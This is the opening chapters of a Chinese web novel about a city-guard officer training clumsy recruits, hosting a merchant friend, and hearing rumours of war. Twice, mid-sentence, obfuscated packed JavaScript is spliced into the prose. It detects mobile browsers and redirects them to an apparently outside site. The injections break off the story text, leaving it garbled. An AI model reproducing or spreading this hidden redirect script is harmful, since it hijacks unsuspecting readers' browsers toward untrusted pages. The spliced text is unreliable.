《折戟之路》 1. 故人来 城防军的黄土泥巴地校场上站着一大堆人。 离远了看看,多少有些方阵的样子,近看嘛,除了一身崭新的戎装衬甲袍之外,实在是看不出这一大群人是当兵的。 “你是什么问题?” “回千总!俺肚子饿了!俺娘说了,军营里练武要下力,千万不能饿肚子,所以俺就吃个烧饼!” 韦祎一时不知道该说点什么,愣了半响,舌头舔了舔后槽牙。 年年录新兵,今年轮到韦祎走霉运,喜提新兵两千五百员。 “千总!恁是不是也饿了?俺这还有一个,给恁吃!” “我不饿,你自己吃吧。” 话音刚落,韦祎听到方阵里头的各处都响起了吃饼吃馍的声音,仔细地四处张望,可以发现不少新兵活得够精致,不仅在袖子里揣干粮,而且揣了咸菜头。 就算是承认了自己没尽全力训他们,也不至于二十天过去了半套刀法都没学会吧? 慢慢踱步回到方阵最前方,池勤和周冲正在那威武地站着,努力地憋笑。 “笑,就知道笑,你俩不管管?” “回千总!我去打听了,今天中餐是茨菇炖羊肉,您看不如……” 下面方阵里众人喜形于色,“炖羊肉!太好了!原来当兵真的每个月能吃饱三次肉啊!” “对呀对呀,要是在家里种田,只有年节的时候才能吃饱一顿肉。” “虽然我家是屠户,但平日里也只能吃羊下水猪下水,净肉都是卖给富人家的。” “唔,既然如此,我看大家都已经吃饱了,中午咱们营就不去派饭了。”韦祎说的这句话被淹没在了众人交头接耳的声音里,幸好有周冲扯着嗓门儿重复了一遍。 方阵安静得简直要哭出来了。 “不过,在中午前,所有人能够练齐长刀第四式,就按时派饭吃,都听懂了吗?” “是————”这次口号喊得非常齐。 韦祎小声叫来池勤和周冲:“就交给你们俩了,今天我要早退,晚上也不回营房了。” “哎,您回城里去?中午不吃饭了?” “留下来也吃不成,好好的羊肉,偏偏要炖茨菇?” 韦祎走开后周冲才问池勤为什么千总不吃茨菇,“上次韦千总误食了茨菇,脸肿成了猪头。” “那岂不是要常常挨饿?伙房那么喜欢做茨菇,一个月炒茨菇炖茨菇煮茨菇要做个五六次。” “可不是怎么,就算主菜里没茨菇,也要在辅料里面加上一些茨菇,他让我每天去仔细问伙房,菜里是什么料。”池勤笑着笑着忽然有点得意。 “别乐了,知道你要和李大厨的闺女成亲了。”周冲锤他一拳“不知道我什么时候能娶上媳妇,我老娘急得很。” “池百户!周百户!快教我们练第四式啊!“众新兵急了。 “第一次这么积极,我感动得快哭了。”池勤拎起大刀摆好了姿势,“成了,大家看我演示!” “不如咱们回去给茨菇炖羊肉立个牌位,时时上香祭拜?”周冲突然想起了什么:“肖丰和钱氿去解手怎么这么久?!莫不是先跑去吃饭了?!你等着,我去抓他们俩回来有难同当!” “算是哥求你了!别丢下我一个人啊!”池勤很想把大刀当标枪扔出去扎一溜烟儿跑掉的周冲。 除了上次误食茨菇被紧急送到城里看郎中,韦祎大半年没有提前逃班早退了,回营房换便装去牵马,竟然多少生出了一点心虚的感觉。 “虽然是我接风,但是今天可得让他来请客才成。”韦祎骑着马往城外七里亭跑,前几天他接到了老友罗晏的来信,说是今日正午左右会到达京城外的七里亭,要韦祎来接他。 “吾友韦子隽,展信安。一别四年有余,你我各自忙于俗务,难有相聚,七月初十正午请来京城外七里亭迎接我,否则我就把你的庚帖送给一百位世家小姐。罗壹通。” 信很简短,主旨很明确。 韦祎在差一刻到正午的时候赶到了七里亭,此地无人。 一点也不意外,他不是第一天认识罗晏了,顶着盛夏的大热天,饿着肚子等到了临近傍晚的时刻。 当他开始后悔自己没和新兵们一起吃烧饼的时候,终于看见罗晏晃晃悠悠的骑着马出现在道路的远端,背后是一片血红色的壮阔晚霞火烧云,映得骑马缓行的那人似勒马封侯而归的英雄。 平时韦祎不至于这么不解风情,但是今天不一样。他从鞍袋里摸出简便的短弓,搭上箭指住三百步以外悠哉悠哉的罗晏。 罗晏立刻催马撒着欢儿跑了过来,高喊:“京城最贵的酒楼,我请客。” “传菜咯!两位爷的,万象更新!时来运转!步步高升!大展宏图!金玉满堂!”京城最贵最大的大观楼里头,二楼雅座上,穿着极干净、看着就十分精明的店小二站在大厅中央高声唱菜名。 听完这堆菜名儿,哟!点这么一桌菜,肯定是遇到喜事儿了啊! 能在这酒楼吃饭的,都是非富即贵、十分有眼力劲儿的人。于是大家纷纷鼓掌、拱手、站起来向韦祎和罗晏这桌道“恭喜”。 “怎么着,你要成婚了?”这不是罗晏的点菜品味啊,韦祎问他。 “没,你有好的给我说说亲啊!你舅舅柳大人可是皇帝面前的大红人,你说他能不能又看上我啊,把柳家的适龄妹妹介绍给我,咱们两个可就是亲戚了。” “不成,二十五还没成婚,人家都怕你有隐疾,跟你结亲岂不是害了自家女儿。” “嗯?嗯?他们是这样想的吗?!”罗晏自在逍遥花天酒地二十来年,第一次想到这个说法。 “至少我娘是这么想的。”这是实话,上次回家去,柳夫人特意来问自家儿子。 罗晏认真的觉得自己应该重新设计一下自身形象、控制一下社会风评了。 “那你怎么说的?有没有替我正名啊?” “你有没有隐疾我怎么知道?”母亲来问韦祎的时候他听着就很奇怪,他和罗晏是十分要好的朋友没错,但是朋友也不是内人,这事儿无论是有还是没有,只要知道了就很奇怪。 于是韦祎明哲保身,十分坚定地告诉柳夫人自己不确定。 “哦,他马上就进京来了,到时候我自己问他吧。”柳夫人见儿子不知道便走开了。 “虽然和伯母谈这个挺奇怪的,但是为了正名,看来我是不得不住到你家解释一下了。” “你想住就去住,不要扯这种理由,我看你连行李都没带来,是早就打定主意要住到我家去了。” “南边又下大雨,运货的大车不好走,耽搁在车店仓库好几天了,我为了早早来见你,狠心把我的弟兄们扔在南边的大雨里,自己北上来投奔你!”罗晏哀嚎着:“一见面就要被你用箭指着,你好狠心。” “好吧,就当是我的错。”韦祎回忆起过去的事情,“我怎么记得我成婚那年你也来京城了,说好的初三到,让我去接你,结果你初五才到。” “所以说,这次我进步了很多啊!你还有什么不满啊。”罗晏说,“我可是马不停蹄赶了一整天的路才在天黑前到达的,现在屁股都要坐不住椅子了。” 又接着讲,“对了,说到成婚,清泉……离开的时候我在南宁国被家里的生意绊住了大半年,没能赶来京城。” 魏清泉是韦祎的结发妻子。 她活在人世间的时间不算长,还没有过上二十岁的生日便离开了人世。 她与韦祎相守的时间更是不长。罗晏来京城庆贺韦祎结婚的时候留在京城住了一年多,魏清泉是个看起来性格极温和的人,制得住罗晏这种顽皮滑头,大概就是在那一年里头,韦祎和新婚妻子魏清泉联手,第一次感受到了压制住罗晏究竟有多快乐。 “别以为清泉不在了我就怕了你了,我还有宓儿可以结盟。”发妻去世时韦祎也不在京城,并不想过多回忆那时的惊愕与茫然。 “我记得,宓儿就快过五岁的生辰了吧,上次见到他还是襁褓里那么一小团,现在应该是满地乱跑的好小子了!”罗晏拿出一个锦盒来在韦祎面前显摆,“今年我可是 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“哎呦喂,可不敢乱说,那是承王打的,可不是我啊,你可管好你的舌头吧!”韦祎很想现在就不顾礼仪地去捂他的嘴,这是什么地方?大观楼!乱说话被人听了去可惨了。 “别担心嘛,真正的悄悄话我不会在这里说,咱们还有长夜漫漫可以促膝长谈。” 大观楼在麒麟大街和獬豸大街中间的街市上,附近都是些宽敞阔气的高官宅邸。韦宅不在这附近,要往东走,走到小街里面,基本已经算是民居的地方。 街上正是人多的时候,无法骑马,二人牵着马缓缓往城东边的韦宅走过去。 “你们家还是很好分辨出来的,不管什么时候门口都聚着一堆外邦人。”刚走到街口,往里面一探头,就能看到韦宅门口站着服色各异的外国商人、使节,几辆装饰奇异的马车把不算宽的街道堵得很严重。 “你们还不搬家吗,这么扰民,会被邻居在门口倒上泔水的。” “用不着搬家啊,我们家只有四个人,就算是住这间院子都嫌大,宅内做事的也用不上十几个,除了门口有些挤之外,没什么缺点。”韦祎想了想,“再说了,我十天才回来住两天,就算门口很挤也没有关系。” 这是韦祎的爹娘成婚时购置的宅子。 当时韦老爹韦寅只是个六品的翻译官,没资格分到官邸,在京城也没有祖宅,于是成婚前一直住礼夷院后院里的临时宿舍,直到婚期临近才赶上优惠,买下这座宅院。 一晃二十来年过去,韦寅如今是从二品的要员了,虽然比不上柳家那么炙手可热,但是在礼夷院里头管着各国往来、通商事宜,是个实实在在有权的大官。 于是宅院从安宁清净的市井小居变成了常年排长队的热闹地方。 “哎?千总?今天应该不是您的休沐日啊,怎么竟然有兴趣回城来?”迎面街上走来一队巡逻的将士,他们显然是认出了韦祎,于是为首那人十分熟稔地走过来说话。 “郑予啊,今天轮到你巡逻啊。”韦祎拍拍他肩膀,“我逃班早退来接这个罗大少爷,搬回家来住一阵子。” “原来是来客人了,您明天不会是不去校场了吧?”郑予露出一副痛苦的神情,“我能不能申请连续巡街一个月啊,我实在是不想回校场面对那群什么都学不会的新兵啊!” “你不怕被他们四个追杀就试试看了,自从新兵进营,你们去巡街的积极性就大幅度提升啊,原来可没见你们争着去巡街。” “我哪里想过有一天出班寻街也会变成好差事。也不知道今天一整天过去,他们有没有把前六式练熟。” “别抱那么大的期望,勉强学完第五式就够他们四个煞费苦心了,今天城里没出什么事吧,我记得明天是钱氿来巡街,你夜里回去交班,让他把训练进度告诉你。”韦祎嘱托他两句,“不过你可以放心,我明天绝对会按时过去校场和你们有难同当的。” “那明天可等着您去主持大局了,我继续巡街去了,不扰您待客,千总、罗少爷,末将告退。” “喔!回头我也去校场找你们玩!”,郑予根本不认识罗晏,但是罗晏立刻自来熟地跟他搭上了话。 2. 休沐日 目送郑予带着队伍走远,罗晏胳膊肘儿怼一怼韦祎,“你属下?挺精神啊,看着就是个练家子,我还以为你惨兮兮的带着一堆什么都干不了的杂牌军呢!” “是我属下没错,但是我确实带着一堆杂牌军呢,不知道什么时候能训到合格的程度。”韦祎一声长叹。 他倒不是为了新兵们好,毕竟京城城防军除了巡街之外实在没什么差事可办,兵卒每年都招一批,同时放一批,只要会听令、会一点简单的列阵武功就成了,只有能力极好的新兵会被留第二年、第三年,以此类推最后就当了军官。 城防军几个千总每年轮流分到训练新兵的活儿,没被轮到训新兵的年份,韦祎就跑去别的千总那看热闹不嫌事儿大,今年轮到自己了,分外苦不堪言:平时每年只招八百到一千人,今年招了两千五,韦祎知道其他几个千总已经在背地里笑得四脚朝天了。 平时,只要早晨点个卯,查看下巡街的报告,上午象征性带着手下的兵操练一个时辰,这一天基本就没有其他事情了,很轻松。 现在新兵进营,从早训练到晚不说,还要把各类档案归档审查、写报告、重新排巡街的班次,甚至要去解决新兵之间的生活矛盾!韦祎和手下五个百户官顶着黑眼圈在坚持呢。 “别走前门了,这一路挤过去不知道有多聒噪。”韦祎带着罗晏往后门那绕过去,罗晏之前在韦宅住过挺长时间的,后门进、翻墙出这类事情轻车熟路。 韦宅后门,韦祎远远就看见门房陈三伯在门口蹲着望天。“三伯,跑这儿来躲着了?” “老爷说了,最近通商令没什么变动,没必要见客,门口的要么是来混脸熟的,要么是来行贿的。”陈三伯说,“这前门也是门房,后门也是门房,我这不是来接罗少爷了吗?” “嘿!我就知道!承了您的情了三伯!”罗晏笑嘻嘻把马缰绳递过去。 “我回家来的时候都没这待遇!” 陈三伯装作没听见,牵着马往马厩走过去了。 “你还是住你那一间房,屋里从茶壶脸盆到衣裳字画都是你之前留在这的。”韦祎给他指指黑乎乎没点上灯的一间房。“我上次休沐的时候给打扫出来了,你要是嫌扫的不干净就自己再扫扫。” “我说你好歹是韦家大少爷,当朝大员的独子,不给你雇个小厮?你还坚持亲自洒扫庭院?” “平日里用不上啊,我打发他去带宓儿了。” 仔细盘算一下,韦家属韦祎最“独立自主”。 韦老爷有两个文书,其中一个兼职管着府里的账务,柳夫人的两个大丫头也是识文断字的,除了伺候起居,还能管家,魏清泉陪嫁来的两个女佣人现在正照顾着韦宓,外加厨房一人,门房一人,车夫一人,粗使的两个人,真没多少,韦祎刚回府的时候还有一个小厮,后来要么当差要么出征也用不上此人,便直接让他照顾韦宓去了。 于是韦祎自己照顾自己日常起居。 罗晏来了,也得自己照顾自己日常起居。 还好,至少换下来的衣服不用自己洗。 从二品的大员,父子同朝,只住四进院子的小宅,家里只有十几个仆人,韦寅每年都能被吏部提名表彰。 “老爷和老夫人带着小少爷去潜龙湖边游湖赏夜景去了,可能要夜里才回来,少爷请早早歇息。” “好,我知道了。” 晚餐时喝了些酒,走了这一阵子的路,酒气有些上涌,也不愿意运内力来驱除,于是二人搬出小炉子和茶壶,坐在院子里自己动手煮茶解酒气。 “我敢保证你绝对不是专程来看我的,你都有什么计划?” “来探望你和宓儿肯定是首要大事,其次吗,我家里在西域那边新收了好些香料、宝石、皮子,这次的货太重了,怕路上事情多,于是让我跟了一路,这不就到京城来了。” “还有呢?” “不是说了吗,货太重了。” “哟!你胆子够大啊,超量了?” 京城是十分能消化香料宝石这等昂贵不实用物品的地方,全国也就只有此地具有如此超常的购买力。 然而国有国法,每年、每个月、甚至每天,从外国运进京城的货物都是有严格限额的。 倒不是说罗家不能分批把货物运进城来,而是先减少货量抬价造势,再大量进货售卖,收益要好得多。 从西方押运巨量货物进京,一路不知道有多少艰险,走上三、五个月怕是精心培养多年的镖师都要死好几个,要是卖得不够好,风险成本就亏进去了。 “所以说,能住到通商郎中韦大人的府里,而不是在门口排队递帖子,我十分感谢你这个挚友。” “我觉得,你住进来也没用。”韦祎心想,老爹是个十分无心官场、无意拉拢关系的老头子,就算是罗家的面子,他也未必愿意卖。 “那你等着瞧吧,你太低估我这个挚友,也太不了解韦伯伯了。”罗晏接着数他这次要忙的事情,“还有传闻说,我们家在京城的铺子,今年有几个掌柜和一些当官的走得很近,账目上有点不清不楚的,这事儿也得我去看看,还要拜见各路长辈,会见几个从前结交的朋友,我估摸着这些事儿都干完了也得个大半年的吧。” 听完,韦祎觉得此人闲得像纨绔大少爷。 不过罗晏确实是个大少爷,富商罗家的大少爷。做商人做到一定程度,自由度是很高的。 从香料、丝绸、瓷器,到医馆药铺、酒楼客栈,再到驼帮、镖局、银号、地产,有本家子弟想做官的,便可以参加科举去做个小地方官,罗家人不做大官,不做京官,但是娶过齐国的郡主、也把罗家的女儿嫁给各国贵族。 名义上是齐国人,实际上这个家族的发展已经开始超脱国界的限制。 “倒是你,你最近在搞些什么。在小小一个营千总的位置上生了根?我都替你不好意思。” “不打仗还不好?” “那可不一定,今年各州征兵数都比往年多了一倍还多,上头一定不是想太平才多征兵。” 韦祎想象了一下自己手下那群半套刀法都学不会的农家子弟新兵上战场。 “不说了我去睡了,明天我一定要按时去校场让他们加紧训练。” 第二日寅时韦祎就起了身,即使是盛夏,寅时天也刚刚鱼肚白而已。自己打水洗漱毕,穿好官服,准备去后院牵马出门。 走出自己的房门,看见罗晏房里还亮着灯。 拍拍门,又把门推开,“你在干嘛呢,起这么早?” “不早,我还没睡呢。”罗晏提着块毛巾,似乎正准备洗脸。“昨晚把落下没算的账给算了一遍,算完才三更天,于是我想看两页小说,然后我把那本小说看完了。”他很自如的一边洗脸一边回答韦祎,“所以,我现在要去睡了。” “我有那么一点想要揍你。” “不如留着力气骑马,你要骑上半个多时辰才能到城防大营,然后还要面对你的两千五百员明日干将。” 韦祎把门狠狠地关上,骑上马直奔城外的校场而去。 早上寅时中出门,卯时中开始操练新兵,午饭后处理文件,到了申时再去校场检查今日操练成果,酉时骑马返回城里,到家的时候一般都过了用饭时间了,厨房给他留了饭,他便单独吃,饭后不多久就该去睡了,有时候一天都见不到父母和儿子。 直到有一天,下午的事务十分的少,训练进度也不错,便提早回家。 像往常一样路过大厅时猛然转头一看,韦大人和柳夫人坐在餐桌上首,罗晏带着韦宓坐在下首,给他夹菜喂饭,一家人围坐在圆桌旁吃晚饭,有说有笑,其乐融融。 等等,什么一家人?韦祎拍拍自己的头,什么一家人啊?!谁和谁是一家人啊?罗晏为什么混进去了? 韦祎牵着马杵在院子中间,罗晏最先注意到他,转过头来对他奸诈一笑。 “哎呀,子隽回来了!”罗晏站起来招呼他,“没吃饭吧,快来坐下一起吃。” “轮不到你招呼我。”韦祎用只有两个人能听到的声音恶狠狠地说。 “子隽啊,这些天辛苦了,快过来吃饭吧。”韦寅招呼佣人添上碗筷。 一家四口变一家五口,重新坐在圆桌旁一起用晚餐。不对,哪来的一家五口?韦祎努力把罗晏从一家五口里面剔除出去。 正吃着饭,看见韦宓的眼神时不时地飘向门外,坐立不安的。 “快吃饭,吃了饭再和小兔子玩。”罗晏给韦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357830|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宓夹了块排骨。 “壹通带着宓儿在东郊外蹲守了好几天,才抓到两只白色的兔子,宓儿很开心呢。”柳夫人内心里也很愉快,因为罗晏来了之后,她就不用带小孩了。 都不叫“贤侄”,也不叫“罗公子”,而是直接叫罗晏的字“壹通”了,可真亲切啊,韦祎腹诽,也不知道她有没有去问隐疾的话题呢。 晚餐后,天色还没有很晚,于是韦寅照例与夫人和孙子从后门便服出府去潜龙湖边散步赏景,留下韦祎与罗晏还坐在桌边。 “少爷、罗少爷,你们吃完了就让让,再不收了桌子就赶不上晚上收泔水的时间了。” “喔,那你们快收吧。”两人起身在院子里散步。 “你还有几天休沐啊,看你现在好辛苦哇,还不如平时住营房能轻松一些。”罗晏问。 “作八休二,再过一天就可以休沐两天,到时候就能睡个饱觉了。”韦祎现在无比的期待一觉睡到日上三竿。 “后天啊,那正好。” “什么正好?我告诉你,你别打什么鬼主意啊!” "没什么没什么,你最近这么忙,咱们都没有好好出去玩,我只能在家帮你带孩子,唉,宓儿算是乖孩子了,但是带孩子仍然是个苦差事啊!”罗晏忽然想起了他小时候的事儿,“宓儿也快五岁了,要不要送去上学啊?或者像咱们一样送到山里习武去,这样可就省心多了。” “不到五岁就去上学也太小了些,拜师的话,你觉得让他拜你为师怎么样啊?我看他挺喜欢你的。” “可千万别,我自己都没小孩呢,你甭想让我给你带小孩。” “不过我娘确实打算把宓儿也送去山里学武术,可能再过一两年就会送去了。” 隔了一天,韦祎终于不用天不亮就爬起来出门,准备舒舒服服地睡到自然醒。可人生不如意十之八九,他在寅时初刻准时睁开了眼睛,瞪着帐子顶上的布幔一会儿,准备去个茅厕再回来接着睡。 回来的时候,看见罗晏正穿着整齐、精神抖擞地坐在他的屋子里。 “我有一种不祥的预感,这一定是个梦。”韦祎挣扎着想躺回自己的床上,罗晏早有准备,一块冰水里拿出来的凉帕子抹在韦祎的脸上,端出一套便服来。 “别睡啦,反正你都醒过来了,今天我可有的忙了,你可必须要帮我啊!”罗晏拉着半睡不醒还没吃上早饭的韦祎骑马出了韦宅,直奔城门而去。 原来是罗晏那批因大雨滞留在京城南边的货物今天终于运到了。 十辆大货运车的检查工作足以堵塞一座城门,所以才赶在一大清早进城。 远远地就能看见有几个负责检查进京货物的通商官员等在城门口了。 罗晏麻利地翻身下马,整理好衣服,稍微松了松腰背部的肌肉,再塌一些肩膀,便把矜傲的纨绔气质扭转成了透着卑微的市侩气质,摸出一个沉甸甸的精致小木匣子来。“这匣子里是小民的拜帖,您可千万要赏脸收下啊。” “您就是罗家少爷吧,拜帖可不敢当呀!”与罗晏说话那官员韦祎脸熟,似乎是老爹部门的一个主事。他掂了掂罗晏的拜帖盒子,里头发出一些大块金银碰撞的轻微响声,“罗少爷的帖子分量不轻呢,下官惶恐、惶恐。” “当得起,当得起,最近小民有幸在韦大人府里借住,韦大人他可对您赞不绝口呐!”罗晏不由分说地把拜帖盒子塞进那主事官的袖袋里,“今天可真是辛苦您大清早来察验,小民十分过意不去呀,只是您千万别嫌小民,您把这拜帖收下,小民就高攀您这个朋友啦,日后定然还有重谢。” “是吗?哈哈哈,那,那下官可就恭敬不如从命啦,哈哈。” 那主事官便捂着沉甸甸的袖子指挥小吏们检查货物。 “为什么我要被拉来参观你贿赂我老爹的属官。”这大清早的戏码看得韦祎浑身难受。 “那你可是证人,这人嘛,韦伯伯好久之前就觉得他有问题啦,只是没抓到实据,不好搞他,这次便正好嘱咐我借机会钓鱼执法。”罗晏小声跟韦祎说,“回头你也写本证言奏章,参死他!” “你才是我老爹亲生儿子吧,怎么这么可怕。”看着这套剧情,韦祎竟然有点想去校场加班操练新兵了。 3. 东林案 今天是注定要奔走劳碌一整天的。 清晨,货物通过检查运进城里的储存仓库,各个铺子的掌柜陆续赶到仓库分货。 “一次性见太多人了,我顾不过来,你帮我盯着。”罗晏嘱咐韦祎。 “你还不如让我帮你点货物。” 确实如此,和陌生人交际,韦祎只会缩头面壁假装自己不存在。 “东家,上次我们报了两箱需求,只给我们进了三成,这次的货物应该优先我们来挑成色。” “张掌柜,你这么说可是没脸没皮,上次东家只给你们批三成,是因为你们铺子的珠宝师傅手艺太差,做出来的成品败了罗氏珠宝的名声!”另一名掌柜出声讥讽。 “对了,我记得没错的话,你们铺子那个差劲至极的珠宝师傅,是你婆娘的表哥吧!” “张掌柜竟然把婆娘的表哥请到家里来啊,不怕省下了本金,却养了别人的儿子吗?” 众人哄笑。 这才是个开始,把货物流向安排好,要依次记账入账。忙到这个时候,已经是傍晚了,罗晏与众人约好,明天一早大家带着各自的伙计来提货。 “也就是说,明天你还要拖着我早起?”众人散去,仓库里只剩罗晏和韦祎。 “没错儿!” 韦祎早上只吃了一个街边买的包子,中午吃的是镖师们做的大锅烩饭,一碗里稀糊糊又是菜又是饭的,味道一言难尽,韦祎吃了两三口便放下筷子。 下午帮忙开箱子验货搬货,又要动脑子又要消耗体力,现在已经饥肠辘辘。罗晏提出要去吃饭,韦祎立刻就跟着去了。 这次没有去吃华而不实的高档酒楼,罗晏带着他穿街走巷,在平民区的小巷子里有一家朴实无华的小饭馆儿,“陆氏瓦锅烧鹅”,木头牌匾上题着这样的字。 沿街一面所有的窗户都是可以拆下来的,整个小店十分通透,门口摆着一排半人高的酒坛,立着一杆方形幡旗,上头写着个“鹅”字。屋内是五六张有些旧的木头桌椅,打扫得很干净,里头已经坐了四桌客人了,看样子都是附近的居民。 “老板,要你们的招牌烧鹅锅,再来一坛特色甜酒!”罗晏像是个常客,很自然地走进去坐下。 “好嘞,立刻就好!”店里是一对老夫妇带着小女儿,老妇人爽快地应答着,招呼女儿给他们摆好碗筷、拿出甜酒和酒杯。 “菜里没有茨菇吧?”韦祎赶忙问道。 “没有,我们家的烧鹅里面很少有齐国蔬菜!”少女脆生生回答。 “对,陆氏,陆是个燕国姓氏啊。”等到瓦锅烧鹅端上来,韦祎就更确定了,脸盆大的瓦锅,整只大鹅剁成大块,配上一些北地燕国特有的蔬菜,用秘制酱料焖熟,揭开锅盖,锅里面的汤汁还咕嘟着就端上桌子来,香气腾腾,与齐国脍不厌细、碗碟精致的饮食风俗截然不同。 原来是燕国人开的餐馆。 京城里住着不少外国人的,有的外国人已经在齐国繁衍了几代,能够自然地用齐国官话交流,和齐国百姓一样普通的生活着,衣着、习气并无二致,特色食物极富生命力。 燕国人虽不受待见,但有些燕国菜在口味改良后倒也算是讨喜。 “味道不错,我在京城住了这么多年,都没有看到这家馆子,你只到了几天就发现了。”韦祎平时吃军营的大锅饭,习惯了不怎么样的味道,在外面吃什么都觉得好吃。 “前几天啊,我路过这家店闻到香味了,一人吃这么大锅吃不完,就端了一大锅回到你家里去当晚餐一起吃。”罗晏说,“伯父、伯母还有宓儿都很喜欢,所以我认为你也会喜欢吃。” “又趁我不在和他们搞好关系。” “我有求于韦伯伯,不搞好关系怎么成。” “燕国的风味倒是不错,和南方菜比起来,不知道要强多少。”韦祎把关注力集中在食物上。“你在南面的宁国待过对吧,我虽然没去过南宁国,但是我在南稞国的时候发现,稞国产出的蔬菜也好、米面也好,全都口感极差,肉的产出又很少,我都想不起那一年是怎么过的了。” “没错,我在南宁国那阵子没什么可吃的,饿瘦了十多斤,回到家我爹娘还以为我是在南宁国染上了五石散,直到隔年我爹也有事去了一趟南宁国,才相信我真的是饿瘦的。不过啊,这菜早就不能算燕国风味了,这算是齐国风味,嗯,正宗燕国菜什么味道,以后你就知道了。” “嗯?为什么?唉,但愿南方不要再起战乱,就算起了战乱也不要派我去。” “不喜欢打南边,看来你喜欢打北边。北燕国的骑兵战斗力可比南方人强太多了,你不怕?” “不打仗才好。”韦祎啃着带骨的鹅肉,“若有战争,还怎么能在燕国餐馆吃晚饭呢?” “有利有弊,拜你所赐,南稞国,不对,现在应该叫南稞州了,这几年别说是我们家的店铺全关门撤离了,据说连农民都没办法耕种,到处逃荒。” “我不过是听令出战而已。现在的稞州治理不好,你该去怪朝廷派过去的州太守好吗?” “我认识他?想来也是个无能的倒霉鬼罢了。你不愿意出征要怎么升官?不会是想要在一个五品小武官的位置上待上十年八年,训练一辈子新兵吧?” “吃饭的时候能不能不提训练新兵的事情,太破坏食欲。”韦祎差点呛到,他想起昨天新兵们分食从家里带来的腌菜,引了群体腹泻,新兵们排不上茅厕就在校场附近的林子里拉稀,完事儿之后没有埋土,结果东风一吹,味儿全都飘到营房方向来了。“我比较好心,就不跟你形容昨天发生的可怕事件了。” “你最好是不要形容,而且你最好是赶快把他们训练出个样子来。” “为什么?” “你不会以为我可以把货物运进城来,是因为韦伯伯卖我的面子搞特许吧?”罗晏解释说,“是因为政令限制的可进货量变大了,我占了先机,第一批运货进城。马上就会有大量商队进京,到时候可就卖不出价钱了,但是我们家却可以赶在贬值之前赚一笔。” “我记得这些年皇帝对外国通商一直很吝啬,怎么会突然放宽?” “听说啊,特意放宽了南宁国还有西域各国的通商限额,应该是想联合他们一起进攻北方吧?”罗晏特意压低了声音来说。“所以说,我要来京城打探情况,判断我们家在北燕国的生意要不要尽快撤出来。” “我忽然觉得你还挺有正经事的。” “你难道一直觉得我没有正经事吗?我怎么说也是未来的家主,要负责很多事情的。喂!韦子隽,没有正经事的是你好吧?” “我又不需要做未来的家主,不需要有正经事。”话是这么说,但是一股危机感还是漫了上来,“确实要加紧训练,以防他们还什么都不会就被拉上战场轻易死掉。” “不如这次你主动请战,有你舅舅柳大人帮你说话,皇帝肯定会同意你出战的,你这次别出什么岔子,打赢回来,应该就可以拿到一个世袭的官爵,宓儿的将来就不用愁了。” “你倒是挺会替我儿子打算的啊。”韦祎有些气愤地想着,“我应该学学我爹娘,把宓儿送去山里,然后连续七八年不去看他,等他长大出师了就自己回家了。” “你对这件事是有多么不满,我从小就听你抱怨,一直听到今天。”罗晏对这件事没什么同情心,“我被送去的比你还早,待的时间比你长,不过我觉得很有趣啊,我们回到内陆的时候连吃饭的口味都不适应了。” “在岛上吃了八年海鱼、海菜,当时吃得要吐,现在吃不到了竟然还有点怀念。” “连住在南宁国这种挑战都饿不死我,现在我已经可以适应所有口味了,我啊,要抓紧时间在京城多吃几次这么好吃的瓦锅烧鹅,如果开战,这种燕国店怕是要关门的。” “说不定皇帝只是一时兴起才放宽限额,根本不会开战呢。”韦祎叹气道,“没影儿的事儿,就别乱猜了。” 二人饱餐一顿,慢慢走回了韦宅。 “我们在外边吃过了,不用再给我们做晚饭了,老爷和老夫人又出去散步了吗?”韦祎问起路过的女佣人。 “老爷捎口信回来说是要加班,要我们给他送饭去呢。老夫人带着小少爷去散步了。” “这样啊,那不耽误你们了,快去给老爷送饭吧。”韦祎有些纳闷,“我爹这一两年都没有加班了,怎么又开始忙了呢。” “政令忽改,当然要加班加点了。” 韦祎去厨房烧了大锅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韦祎离开军营后,池勤便按照吩咐去找那些新兵的麻烦,想把他们赶去挖地埋屎,却发现这十几个新兵腹泻太严重了,走在路上的时候就有好几个人拉了裤子。 这下可不是新兵被池勤教训而是池勤被新兵教训,于是池勤紧急改了路线,把这群腹泻的新兵送到军医那里止泻。 因此连军医营都遭了秧,十几个人一起守着临时便盆上吐下泻,再加上林子里刮过来的东风,军医营房里弥漫着浓厚的排泄物味道。 不出意外,池勤被军医官骂了一顿,出了军医营,为了不让全体士兵继续遭殃,池勤只好自己带几个其他士兵去挖地,搞了一整天才把林子里的土都翻完一遍埋好,再去把铲子冲洗干净,回到营地里来。 “您闻一闻,我身上现在还有味儿呢。”池勤抖一抖自己的衣裳。 “别,你应该立刻开始休沐,快回城里去,快走,别在我屋里抖衣服!”韦祎不想听报告了,他只想赶快让池勤休沐去。 “这两天的训练情况周冲会跟您报告的,我回城里去了。”池勤毫不留恋地走掉了。 韦祎把办公室的窗户打开透气,发现今天又是刮东风的一天,一时不知道该关上窗户呢,还是继续开着窗“换气”。 周冲沿着营房走过来找韦祎报告,当他从左至右经过韦祎窗前的时候,毫不掩饰地向窗户里面站着的韦祎做了一个瞪眼张嘴的惊恐表情。 刮东风的时候开窗户透气,韦千总这是何等的勇气啊! “请进来吧。”韦祎示意周冲坐下说话。“今天是轮到了肖丰去城里盯巡逻吧?” “是的,不过明天就轮到我了!”周冲很兴奋。 “进度怎么样?刀法学会一半没有?” “要说的话,除了腹泻被强制休息的那十九个蠢货,其他人基本上已经可以完整学会半套刀法了,我们抽查过了。”周冲说,“而且我倒是觉得他们乖巧多了,这几天都按时就寝,没有半夜跑出去抓山鸡烤兔子的,呃。” 